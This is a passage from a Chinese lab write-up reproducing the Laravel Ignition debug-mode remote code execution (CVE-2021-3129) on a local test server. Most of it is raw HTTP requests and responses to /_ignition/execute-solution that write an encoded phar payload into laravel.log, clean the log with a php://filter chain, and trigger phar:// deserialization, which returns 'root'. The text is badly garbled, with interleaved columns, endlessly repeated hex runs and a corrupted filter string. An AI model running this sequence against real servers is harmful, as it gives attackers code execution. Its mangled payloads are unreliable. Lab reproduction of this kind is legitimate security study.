6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6T=00=6
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     0=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=
    7=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=40=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=4D=00=5A=00=5A=00=4D=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A=00=5A
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先随便传一个字符串,让log文件中新增一条记录,注意,**这里字符串的字符个数要是2的倍数**,不然会出错

POST /\_ignition/execute-solution HTTP/1.1

"parameters": { "viewFile": "1234",

```
Host: 192.168.30.169:8000
                                                                                                                          Host: 192.168.30.169:8000
                                                                                                                          Date: Mon, 12 Jul 2021 08:06:52 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
                                                                                                                          Connection: close
Accept-Encoding: gzip, deflate
Accept: application/json
                                                                                                                          X-Powered-Bv: PHP/7.3.27-1~deb10u1
                                                                                                                         Cache-Control: no-cache, private
Date: Mon, 12 Jul 2021 08:06:52 GMT
Content-Type: application/json
Content-Length: 153
DNT: 1
                                                                                                                          Content-Type: application/json
Connection: close
                                                                                                                             "message": "file_get_contents(1234): failed to open stream: No such file or directory",
                                                                                                                             'exception": "ErrorException",
```

'file

"line": 75,

HTTP/1.1 500 Internal Server Error

"/root/test/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php",

```
"variableName": "aaa
                                                                    "trace": [
                                                                       "function": "handleError",
发送payload, payload结尾一定要加一个字符,不然会生成两次payload,导致最后利用phar反序列化时出错:
```

"solution": "Facade\\lgnition\\Solutions\\MakeViewVariableOptionalSolution",

```
POST / ignition/execute-solution HTTP/1.1
Host: 192.168.30.169:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   HTTP/1.1 500 Internal Server Error
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   Host: 192.168.30.169:8000
Date: Mon, 12 Jul 2021 08:08:11 GMT
  Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     Connection: close
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       X-Powered-By: PHP/7.3.27-1~deb10u1
    Accept: application/ison
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   Cache-Control: no-cache, private
  Content-Type: application/json
Content-Length: 5093
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   Date: Mon, 12 Jul 2021 08:08:11 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   Content-Type: application/json
  DNT: 1
    Connection: close
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        'message'
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   *file_get_contents(=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=4A=00=50=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=00=40=0
                                                     'solution": "Facade\\lgnition\\Solutions\\MakeViewVariableOptionalSolution",
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7=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=
  = 78 = 00 = 73 = 00 = 64 = 00 = 57 = 00 = 31 = 00 = 70 = 00 = 62 = 00 = 6D = 00 = 46 = 00 = 30 = 00 = 5A = 00 = 56 = 00 = 78 = 00 = 43 = 00 = 63 = 00 = 60 = 00 = 30 = 00 = 52 = 00 = 70 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   46 = 00 = 7A = 00 = 64 = 00 = 43 = 00 = 49 = 00 = 36 = 00 = 4D = 00 = 6A = 00 = 70 = 00 = 37 = 00 = 63 = 00 = 7A = 00 = 6F = 00 = 35 = 00 = 4F = 00 = 69 = 00 = 49 = 00 = 41 = 00 = 48 = 00 = 67 = 00 = 42 = 00 = 6C = 00 = 64 = 00 = 6D = 00 = 56 = 00 = 75 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 = 00 = 60 =
  0 = 62 = 00 = 60 = 00 = 64 = 00 = 63 = 00 = 55 = 00 = 47 = 00 = 56 = 00 = 75 = 00 = 5A = 00 = 47 = 00 = 6C = 00 = 75 = 00 = 5A = 00 = 6C = 00 = 75 = 00 = 5A = 00 = 6C = 00 = 75 = 00 = 5A = 00 = 6C = 00 = 75 = 00 = 5A = 00 = 6C = 00 = 75 = 00 = 5A = 00 = 6C = 00 = 75 = 00 = 5A = 00 = 6C = 00 = 75 = 00 = 5A = 00 = 6C = 00 = 75 = 00 = 5A = 00 = 6C = 00 = 75 = 00 = 5A = 00 = 6C = 00 = 75 = 00 = 5A = 00 = 6C = 00 = 75 = 00 = 5A = 00 = 6C = 00 = 75 = 00 = 5A = 00 = 6C = 00 = 75 = 00 = 5A = 00 = 6C = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 75 = 00 = 
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   0 = 64 = 00 = 48 = 00 = 4D = 00 = 69 = 00 = 4F = 00 = 30 = 00 = 38 = 00 = 36 = 00 = 4D = 00 = 6A = 00 = 55 = 00 = 36 = 00 = 4P = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 36 = 00 = 
清除多余的字符:
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.30.169:8000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   HTTP/1.1 200 OK
Host: 192.168.30.169:8000
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Date: Mon, 12 Jul 2021 08:08:24 GMT
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Connection: close
    Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        X-Powered-By: PHP/7.3.27-1~deb10u1
  Accept: application/json
Content-Type: application/json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Cache-Control: no-cache, private
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Date: Mon, 12 Jul 2021 08:08:24 GMT
    Content-Length: 287
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Content-Type: text/html; charset=UTF-8
  Connection: close
                                                         solution": "Facade\\lgnition\\Solutions\\MakeViewVariableOptionalSolution",
                                                                                                   "viewFile"
    "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16|e.utf-8|convert.base64-decode/reserved | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 
    esource=../storage/logs/laravel.log*
                                                                                                   "variableName": "aaa
利用phar://进行反序列化,执行代码:
  POST /_ignition/execute-solution HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Host: 192.168.30.169:8000
  Host: 192.168.30.169:8000
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Date: Mon, 12 Jul 2021 08:24:49 GMT
  Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Connection: close
    Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               X-Powered-By: PHP/7.3.27-1~deb10u1
Accept: application/json
Content-Type: application/json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           Cache-Control: no-cache, private
Date: Mon, 12 Jul 2021 08:24:49 GMT
    Content-Length: 208
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Content-Type: text/html; charset=UTF-8
  DNT: 1
  Connection: close
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             root
                                                           "solution": "Facade\\lgnition\\Solutions\\MakeViewVariableOptionalSolution",
                                                           "parameters": {
                                                                                                              "viewFile": "phar:///root/test/laravel/storage/logs/laravel.log/test.txt",
                                                                                                                variableName": "aaa
```

# 疑问:

这里不懂为什么要先发一次AA让对齐,但是我试了,如果不先发一个错误的数据包,直接发送payload,确实会报错,产生一条log记录,

```
但再次发送清除其他字符的数据包时会报错,提示如下报错
```

```
POST / Ignition/execute-solution HTTP/1.1
Host: 192.168.30.169:8000
User-Agent Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Accept: application/json
Content-Type: application/json
Content-Type: application/json
Content-Length: 287
DNT: 1
Connection: close

{
    "solution": "Facade\\Ignition\\Solutions\\MakeView\VariableOptionalSolution",
    "parameters": {
        "viewFile":
    "php:/filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=_/storage/logs/laravel.log",
        "variableName": "aaa"
    }
}
```

而且此时查看log文件,会发现之前直接发送payload产生的log记录被刷新了,日志中没有之前发送的payload 所以上图数据包再次发送会导致log记录被清空。

# 参考:

https://www.ambionics.io/blog/laravel-debug-rce

https://whoamianony.top/2021/01/15/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Laravel/Laravel%20Debug%20mode%20RCE%EF%BC%88CVE-2021-3129%EF%BC%88%A9%E5%88%A9%E7%94%A8%E5%A4%8D%E7%BE%B0/

分区 web安全 的第8页